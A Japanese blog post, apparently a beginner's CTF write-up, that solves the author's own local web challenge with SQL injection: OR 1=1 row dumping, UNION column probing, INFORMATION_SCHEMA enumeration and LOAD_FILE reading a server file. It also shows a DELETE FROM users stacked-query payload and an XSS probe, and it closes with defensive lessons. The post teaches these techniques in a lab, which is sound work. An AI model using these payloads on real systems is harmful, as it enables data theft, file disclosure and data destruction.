Help us understand the problem. What is going on with this article?

CTF初心者が問題サーバ(web)を構築してみた【回答編】

はじめに

こちらの記事は CTF初心者が問題サーバ(web)を構築してみた【問題編】で作成した、Web問題を解き方を解説します。
問題編の最後に、この問題のリポジトリのリンクもあります。
この記事のように、CFTの問題の解説記事はWriteupというようです。
筆者自身が作成し、筆者自身もCTF初心者のため
普通はそのような発想にはならないだろう等の指摘がありましたら、ご教授いただけると幸いです。

注意点

こちらの内容ではサイバー攻撃の一部を実際に行うことになります。
実際に攻撃を行うことで、どのような効果があるのかを学ぶことを目的としています。
決して、実際のシステムに攻撃を仕掛けることは行わないようにしてください。

前提

この問題サーバでのルール

  • フラグの形式はmyctf{フラグ}となります。
  • サーバの中には3つのフラグが隠されています。

実際に問題を解いてみる

まずは、問題サーバへアクセスする。
2019-12-04 12.06.27 localhost e3de80904c2e.png

テキストに値を入れ検索ボタンを押してみる。
2019-12-04 12.06.52 localhost c4217ceed7b3.png

ログインページでは出ないことから、robots.txt.gitを探しても、有益な情報が得られる可能性は低いので、
SQLインジェクションをで取れないか確認してみます。
実際にそういったファイル等は置いてはいません。

テーブルのデータを取り出してみる

まずは対称のテーブルに隠されているレコードがないか全件を取得できないのかを確かめます。
' OR 1 = 1; -- |で検索してみます。
2019-12-04 12.07.43 localhost 3d2e52c8fcb8.png

早速、1つめのフラグmyctf{scf_sql_injection_flag}を見つけることができました。

解説

今回のクエリの生成方法は、
SELECT * FROM users WHERE delete_flag=FALSE AND job LIKE '%検索値%'
というものでした。
今回のクエリを代入してみると
SELECT * FROM users WHERE delete_flag=FALSE AND job LIKE '%' OR 1 = 1; -- |%'
というクエリになります。
--は行コメント扱いとなるので
SELECT * FROM users WHERE delete_flag=FALSE AND job LIKE '%' OR 1 = 1;
となり
〜 OR 1 = 1では常にTrueとなるので、実質
SELECT * FROM users WHERE TRUE
というクエリを発行できてしまうため、論理削除で削除された、データも取り出せてしまいます。
ちなみに
SELECT * FROM users WHERE (delete_flag=FALSE) AND (job LIKE '%検索値%')
のように優先順位をつけてクエリを生成されている可能性もありますのでその場合は、
') OR 1 = 1; -- |
のように、最初の'の後に)を場合によっては複数追加することで、突破できます。

対象のテーブルの構造を調べる

UNION句をつかって、内容を探ってみます。
' UNION SELECT null; -- |で検索
エラー

' UNION SELECT null, null; -- |で検索
エラー

' UNION SELECT null, null, null; -- |で検索
エラー

' UNION SELECT null, null, null ,null; -- |で検索
エラー

' UNION SELECT null, null, null ,null ,null; -- |で検索
2019-12-04 12.51.46 localhost 6375079a0b09.png
エラーとならず、画面が表示されました。
nullがNoneと表示されているあたりが、Pythonで書かれているのだろうというのはひとまずおいときます。

このことから、クエリでとりだしたカラムは5つであることがわかりました。

解説

UNION句は2つのクエリ結果が列の数と順番は、すべてのクエリで同じである必要があるので、
この命令はではカラムの数を変えながら、エラーにならないものを絞っていくことで、
テーブルの構造が推測できます。

対象のテーブルの構造をもう少しを調べる

' UNION SELECT '1', '2', '3' ,'4' ,'5'; -- |で検索
2019-12-04 13.14.28 localhost 3eca8bd17aee.png

表示された内容から、
1番目、3番目、2番目、4番目のカラムが表示対象であることがわかります。

データベースの情報を抜き出す

別のテーブルにフラグがないかを確認します。
' UNION SELECT table_name, table_schema, null ,null ,null FROM INFORMATION_SCHEMA.TABLES; -- |

2019-12-04 13.20.10 localhost 7a5952edd7b2.png

色々とデータを取り出せました。
これだけのデータを取得できているのでroot(PostgreSQLではpostgres)ユーザで接続しているのだろうことはわかりますし、テーブル一覧から、データベースがMySQLであることもわかります。

今回、注目するのはctf_dbというデータベースに、usersとflagというテーブルが存在することがわかります。
明らかにあやしいflagテーブルからデータを取りたいところですが、その前にflagテーブルのスキーマを確認しなくてはいけないので取り出してみます。
' UNION SELECT COLUMN_NAME, COLUMN_TYPE, null, null, null FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'flag'; -- |
PostgreSQLの場合COLUMN_TYPEのところをDATA_TYPEとする。

2019-12-04 13.32.55 localhost eecd5fee60d4.png

カラムが4つでカラム名と型もわかったので、4つのカラムをそれぞれUNIONしてレコードを取り出してみます。
' UNION SELECT id, flag, create_date, update_date, null FROM flag; -- |

2019-12-04 13.43.11 localhost 1552a0fa06dd.png

2つ目のフラグmyctf{next_flag_[/var/ctf/flag.md]}を見つけました。

2つ目のフラグがnext_flag_[/var/ctf/flag.md]ということで、このフラグが次のヒントになっています。
次のフラグは/var/ctf/flag.mdに隠されているようです。
一連の処理の中で、別のscriptが動いているのでしら、コマンドインジェクションで取ることも考えられますが、
MySQLということでLOAD_FILE関数で取れないか確認します。

まずは接続しているユーザを確認します。
データベースの構造を確認した時にrootで接続しているのだと推測できましたが、念の為確認します。

' UNION SELECT null, CURRENT_USER(), null, null, null; -- |

2019-12-04 14.15.05 localhost 7653e4b90eea.png

rootで接続しているのがわかったので、LOAD_FILE関数で指定のファイルを取り出せないか確認します。

' UNION SELECT null, LOAD_FILE('/var/ctf/flag.md'), null, null, null; -- |

2019-12-04 14.17.51 localhost ae05a536825b.png

3つ目のフラグmyctf{mission_complete}を取得できました。

これで、3つのフラグを全てを取得できました。

その他

今回使ったPyMySQLでは、syntax errorとして、エラーとなっていましたが(これができないとなるとCTFの問題としての拡張が難しい気がする)
PHPで実装した場合は、
' OR 1 = 1; DELETE FROM users; -- |で検索すると、
これで、他のデータも含めて、フラグそのもの、消すことでできてしまいます。
King of the Hill形式の問題では、このようにフラグそのものを消してしまっても、ディフェンスポイントという扱いになるのか、その辺の知見がある方は、教えていただけると幸いです。

今回の画面では入力結果を画面上に出力されており、
クロスサイトスクリプディング(XSS)の脆弱性もあるのを確認してみます。
この場合なら、inputタブのvalueオプションから仕掛けることもできます。
<script>alert("XSS")</script>で検索すると

スクリーンショット 2019-12-04 15.54.46.png

というわけで、XSSの脆弱性があることもわかります。
ただ、今回はXSSの脆弱性を問題にはしていません。

まとめ

今回の内容で注意しなくてはいけないこと (もちろん、これだけやっておけばいいというものではありません)

  • SQLのクエリ発行には、ORMなどでエスケープする
  • データベースに接続するユーザの権限は最低限にする
  • 論理削除は被害を拡大しかねない(そもそもあってはならないことではありますが)
  • データベースからのファイルアクセスは慎重に

少しでも、興味を持たれた方は、常設CTFの問題に挑戦してみてはいかがでしょうか。

Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
Comments
Sign up for free and join this conversation.
If you already have a Qiita account
Why do not you register as a user and use Qiita more conveniently?
You need to log in to use this function. Qiita can be used more conveniently after logging in.
You seem to be reading articles frequently this month. Qiita can be used more conveniently after logging in.
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away